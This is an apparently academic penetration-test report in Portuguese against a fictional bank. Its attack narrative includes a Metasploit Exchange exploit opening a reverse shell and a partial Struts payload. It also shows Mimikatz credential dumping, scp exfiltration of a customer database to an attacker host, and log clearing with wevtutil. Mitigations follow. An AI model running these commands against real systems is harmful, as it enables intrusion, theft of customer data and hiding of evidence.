Relatório de Teste de Invasão (Pentest)

Alvo: Fintech Apex Bank (Ambiente Fictício)

Autora da Análise:	**Manuella Carvalho**
Disciplina:	Segurança Cibernética
Classificação:	**CONFIDENCIAL**

Sumário Executivo

Este relatório apresenta os resultados de um teste de invasão simulado, conduzido no ambiente de rede da "Fintech Apex Bank". O objetivo principal foi aplicar conhecimentos práticos de segurança ofensiva para identificar e explorar vulnerabilidades críticas em um cenário bancário hipotético. A finalidade desta análise é estritamente acadêmica, visando demonstrar o fluxo completo de um ataque cibernético, desde o reconhecimento inicial até a exfiltração de dados, para, ao final, propor contramedidas eficazes.

A simulação revelou vulnerabilidades de severidade **Crítica** na infraestrutura do Apex Bank. Foi possível obter acesso não autorizado a um servidor de e-mail, escalar privilégios para administrador de domínio e, subsequentemente, acessar e exfiltrar a base de dados de clientes.

Principais Achados:

- **Execução Remota de Código (RCE) em Servidor Crítico:** Uma falha em um servidor Microsoft Exchange permitiu a execução de comandos remotos sem autenticação, servindo como ponto de entrada inicial na rede.
- **Credenciais de Administrador Comprometidas:** Após o acesso inicial, foi possível extrair credenciais de administrador da memória do sistema, garantindo controle total sobre o domínio do Active Directory.
- **Acesso Irrestrito à Base de Dados:** Utilizando as credenciais de administrador, foi possível movimentar-se lateralmente até o servidor de banco de dados e extrair informações sensíveis de clientes.

A postura de segurança geral do ambiente simulado é considerada **Fraca** devido à presença de sistemas desatualizados e à falta de segmentação de rede adequada. Recomenda-se a aplicação imediata dos patches de segurança indicados, a implementação de autenticação multifator (MFA) e a revisão das políticas de firewall e segmentação de rede.

1. Introdução

1.1. Objetivo e Escopo

O objetivo deste teste foi realizar uma simulação de ataque cibernético direcionado, com o intuito de obter credenciais privilegiadas e exfiltrar a base de dados de clientes do sistema fictício do Apex Bank.

- **Escopo do Teste:** O escopo da análise limitou-se ao domínio `apex-bank.fict` e à sua infraestrutura de rede simulada, incluindo servidores web, de banco de dados e de autenticação.

1.2. Metodologia Adotada

O teste seguiu uma metodologia baseada nas fases de um teste de invasão, alinhada com as melhores práticas do mercado:

1. **Reconhecimento:** Coleta de informações públicas (OSINT) e varredura ativa da rede para mapear a superfície de ataque.
2. **Identificação de Vulnerabilidades:** Análise dos serviços e versões identificados para correlacioná-los com vulnerabilidades conhecidas (CVEs).
3. **Exploração:** Obtenção de acesso inicial ao ambiente através da exploração de uma das vulnerabilidades críticas identificadas.
4. **Pós-Exploração:** Execução de técnicas de escalada de privilégios, movimento lateral e coleta de dados sensíveis dentro da rede comprometida.
5. **Relatório e Mitigação:** Documentação detalhada dos achados e fornecimento de recomendações para a correção das falhas.

2. Descrição do Ambiente-Alvo

O alvo é a "Fintech Apex Bank", uma instituição financeira digital. Sua infraestrutura de TI é composta por uma arquitetura de rede com uma Zona Desmilitarizada (DMZ) e uma rede interna segmentada.

- **Componentes de Tecnologia:** O ambiente é predominantemente baseado em tecnologia Microsoft, incluindo:
  - **Servidor Web:** Windows Server 2019 com Microsoft IIS 10.
  - **Banco de Dados:** Windows Server 2019 com Microsoft SQL Server 2017.
  - **Serviços de Rede:** Active Directory para autenticação (LDAP), VPN corporativa e um servidor Microsoft Exchange 2013 para e-mails.
- **Mecanismos de Defesa:** O ambiente possui defesas padrão, como firewall pfSense, um Web Application Firewall (WAF) e um Sistema de Detecção de Intrusão (IDS) Snort.

Topologia da Rede (Simplificada)

```
graph TD
    subgraph "Internet"
        A[Atacante]
    end

    subgraph "DMZ (Zona Desmilitarizada)"
        B[Load Balancer]
        C[Firewall/WAF]
        D[Servidor Web - IIS 10 <br> apex-bank.fict <br> 198.51.100.10]
        E[Servidor de E-mail - Exchange 2013 <br> mail.apex-bank.fict <br> 198.51.100.15]
    end

    subgraph "Rede Interna"
        F[Firewall Interno]
        G[Servidor de Banco de Dados <br> MS-SQL 2017 <br> 10.10.1.20]
        H[Controlador de Domínio <br> Active Directory <br> 10.10.1.5]
    end
```

```
    A --> B
    B --> C
    C --> D
    C --> E
    D -- Porta 1433 --> F
    F --> G
    E --> F
    F --> H
```

3. Detalhamento dos Achados

A seguir, são detalhadas as vulnerabilidades críticas identificadas durante a simulação.

ACHADO 01: Execução Remota de Código em Servidor Microsoft Exchange

- **ID da Vulnerabilidade:** CVE-2020-0688
- **Severidade: Crítica (CVSS v3.1: 9.1)**
- **Vetor:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Descrição:

Foi identificado um servidor Microsoft Exchange 2013 CU23 vulnerável à CVE-2020-0688. Essa falha ocorre devido à validação inadequada de chaves criptográficas no Painel de Controle do Exchange (ECP), permitindo que um atacante não autenticado execute código arbitrário no contexto do sistema.

Prova de Conceito (PoC):

O framework Metasploit foi utilizado para explorar esta vulnerabilidade e obter uma sessão de Meterpreter no servidor.

```
# Iniciar o Metasploit Framework
msfconsole

# Usar o módulo de exploração para a CVE
msf6 > use exploit/windows/https/exchange_cve_2020_0688

# Configurar o alvo e o payload
msf6 exploit(..) > set RHOSTS 198.51.100.15
msf6 exploit(..) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(..) > set LHOST 192.168.1.10 # IP da máquina do atacante

# Executar o exploit
msf6 exploit(..) > run

# Resultado esperado
[*] Sending exploit for CVE-2020-0688...
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 198.51.100.15:49152)
meterpreter >
```

Impacto:

O comprometimento total do servidor de e-mail permite ao atacante ler todas as comunicações corporativas, roubar credenciais de usuários e usar o servidor como um pivô para atacar a rede interna.

ACHADO 02: Execução Remota de Código em Serviço de Desktop Remoto (BlueKeep)

- **ID da Vulnerabilidade:** CVE-2019-0708
- **Severidade: Crítica (CVSS v3.0: 9.8)**
- **Vetor:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Descrição:

Durante a fase de reconhecimento na rede interna, foi hipotetizada a existência de um servidor legado (ex: Windows 7 ou Server 2008 R2) com o serviço de Área de Trabalho Remota (RDP) habilitado. A vulnerabilidade "BlueKeep" permite que um atacante não autenticado envie requisições maliciosas para a porta RDP (3389) e execute código arbitrário com privilégios de SYSTEM.

Prova de Conceito (PoC):

Um módulo específico no Metasploit poderia ser usado para verificar e explorar essa falha em um host interno, caso fosse descoberto. A vulnerabilidade é "wormable", significando que um exploit bem-sucedido poderia se propagar automaticamente para outras máquinas vulneráveis na mesma rede.

Impacto:

A exploração bem-sucedida do BlueKeep pode levar ao comprometimento completo de múltiplos sistemas na rede interna, causando uma interrupção massiva dos serviços e a perda de controle sobre a infraestrutura.

ACHADO 03: Execução Remota de Código em Aplicação Web Legada (Apache Struts)

- **ID da Vulnerabilidade:** CVE-2017-5638
- **Severidade: Crítica (CVSS v3.0: 10.0)**
- **Vetor:** `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

Descrição:

Em ambientes complexos, é comum encontrar aplicações legadas. Foi simulada a descoberta de um microsserviço interno rodando em um servidor Ubuntu com Apache Struts 2, vulnerável à CVE-2017-5638. A falha permite a execução remota de código através do envio de um cabeçalho Content-Type malformado em uma requisição HTTP.

Prova de Conceito (PoC):

Um atacante poderia usar uma ferramenta como curl para enviar um payload simples e confirmar a vulnerabilidade, ou usar um exploit pronto para obter um shell reverso.

```
# Exemplo de payload malicioso no cabeçalho HTTP
Content-Type: %{(#_='multipart/form-data')...(#cmd='id')...}
```

Impacto:

Comprometer um servidor de aplicação web, mesmo que secundário, oferece ao atacante um ponto de apoio na rede para realizar reconhecimento interno, atacar outros sistemas e buscar dados sensíveis.

4. Narrativa do Ataque Simulado

Esta seção descreve o fluxo cronológico do ataque, demonstrando como os achados foram encadeados para atingir o objetivo final.

1. **Fase 1: Reconhecimento**
   - **Passivo (OSINT):** Foram realizadas buscas por informações do domínio `apex-bank.fict` em fontes abertas.
   - **Ativo (Scanning):** Foi utilizado o **Nmap** para identificar hosts ativos e serviços expostos na faixa de IPs da DMZ.

     ```
     # Comando de varredura Nmap
     nmap -sC -sV -T3 -oN nmap_results.txt 198.51.100.0/24

     # -sC: executa scripts padrão
     # -sV: detecta versões dos serviços
     # -T3: velocidade de scan normal para evitar detecção por IDS
     ```

   - **Resultados:** A varredura revelou o Servidor Web (198.51.100.10) e o Servidor de E-mail (198.51.100.15), confirmando as versões do IIS e do Exchange.
2. **Fase 2: Obtenção de Acesso Inicial**
   - Com base nos resultados da varredura, o **Achado 01 (CVE-2020-0688)** foi explorado. Utilizando o Metasploit, foi obtida uma sessão de Meterpreter no servidor de e-mail (198.51.100.15), garantindo um ponto de entrada na rede.
3. **Fase 3: Escalação de Privilégios e Movimento Lateral**
   - **Escalação:** Dentro da sessão Meterpreter, a ferramenta **Mimikatz** foi carregada para extrair senhas e hashes da memória do servidor de e-mail. Essa ação resultou na obtenção das credenciais de uma conta de Administrador de Domínio.

     ```
     meterpreter > load mimikatz
     meterpreter > sekurlsa::logonpasswords
     ```

   - **Movimento Lateral:** Com as credenciais de administrador, foi utilizada a técnica **Pass-the-Hash** com a ferramenta **PSExec** para acessar o Servidor de Banco de Dados (10.10.1.20), que reside na rede interna.
4. **Fase 4: Execução do Objetivo (Exfiltração e Limpeza)**
   - **Coleta de Dados:** No servidor de banco de dados, o arquivo da base de clientes (`Apex_Customers.mdf`) foi localizado.
   - **Exfiltração:** O arquivo foi compactado e transferido via **SCP** para um servidor controlado pelo atacante.

     ```
     # 1. Compactar os dados no servidor alvo
     powershell Compress-Archive -Path C:\SQLData\Apex_Customers.mdf -DestinationPath
     C:\Temp\data.zip
     ```

```
# 2. Transferir o arquivo para a máquina do atacante
scp C:\Temp\data.zip atacante@192.168.1.10:/root/loot/
```

- **Limpeza de Rastros:** Para dificultar a detecção, os logs de eventos de Segurança e Sistema do Windows foram apagados nos servidores comprometidos.

```
wevtutil cl Security
wevtutil cl System
```

5. Recomendações de Mitigação

Para corrigir as vulnerabilidades exploradas e fortalecer a segurança do Apex Bank, as seguintes contramedidas são recomendadas:

Achado Associado	Recomendação Específica
Achado 01 (CVE-2020-0688)	1. Gerenciamento de Patches: Aplicar imediatamente as atualizações de segurança da Microsoft para o Exchange Server. 2. Segmentação de Rede: Isolar o servidor Exchange e restringir o acesso administrativo apenas a hosts de gerenciamento seguros.
Achado 02 (CVE-2019-0708)	1. Desativação de Sistemas Legados: Migrar ou desativar quaisquer sistemas operacionais sem suporte (Windows 7/Server 2008 R2). 2. Restringir Acesso RDP: Bloquear a porta 3389 no firewall de borda e permitir acesso RDP na rede interna apenas via VPN e para IPs autorizados.
Achado 03 (CVE-2017-5638)	1. Atualização de Frameworks: Manter todos os frameworks de aplicação (como Apache Struts) atualizados para a última versão estável. 2. WAF (Web Application Firewall): Configurar regras no WAF para detectar e bloquear requisições com cabeçalhos malformados.
Geral	1. Autenticação Multifator (MFA): Implementar MFA para todo acesso administrativo e remoto (VPN, RDP, ECP). 2. Monitoramento e SIEM: Centralizar logs de todos os sistemas em uma solução SIEM para correlacionar eventos e detectar atividades anômalas. 3. Princípio do Menor Privilégio: Auditar e garantir que contas de serviço e de usuário possuam apenas as permissões estritamente necessárias.

6. Conclusão

A simulação de ataque contra a Fintech Apex Bank demonstrou com sucesso como múltiplas vulnerabilidades podem ser encadeadas por um ator mal-intencionado para alcançar um objetivo crítico, como a exfiltração de dados de clientes. O exercício evidenciou que, mesmo com defesas padrão como firewalls e IDS, a falta de um gerenciamento de patches rigoroso e de uma segmentação de rede eficaz deixa a organização exposta a riscos significativos.

O aprendizado obtido ao estruturar e executar este plano de ataque é fundamental para o desenvolvimento de uma mentalidade de defesa proativa. Compreender as técnicas do adversário é o primeiro passo para construir uma infraestrutura de TI mais resiliente e segura.